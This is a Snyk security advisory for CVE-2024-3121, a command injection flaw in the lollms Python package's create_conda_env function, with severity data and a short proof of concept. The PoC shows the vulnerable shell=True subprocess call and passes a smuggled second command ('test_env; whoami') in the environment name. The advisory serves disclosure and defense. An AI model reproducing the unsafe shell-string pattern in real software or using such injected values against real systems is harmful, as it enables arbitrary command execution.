Improper Control of Generation of Code ('Code Injection') Affecting lollms package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Control of Generation of Code ('Code Injection') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-LOLLMS-7361779
  • published30 Jun 2024
  • disclosed24 Jun 2024
  • creditDarkNinja

Introduced: 24 Jun 2024

CVE-2024-3121  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for lollms.

Overview

lollms is a python library for AI personality definition

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the create_conda_env function. An attacker can execute arbitrary commands by manipulating the env_name and python_version parameters.

PoC


import subprocess
import sys
import os

def create_conda_env(env_name, python_version):
    # Activate the Conda environment
    if platform.system()=="Windows":
        conda_path = Path(sys.executable).parent.parent/"miniconda3"/"condabin"/"conda"
    else:
        conda_path = Path(sys.executable).parent.parent.parent/"miniconda3"/"bin"/"conda"
    ASCIIColors.red("Conda path:")
    ASCIIColors.yellow(conda_path)
    process = subprocess.Popen(f'{conda_path} create --name {env_name} python={python_version} -y', shell=True)

# POC for the remote code execution vulnerability
create_conda_env("test_env; whoami", "3.9")

References

CVSS Scores

version 4.0
version 3.1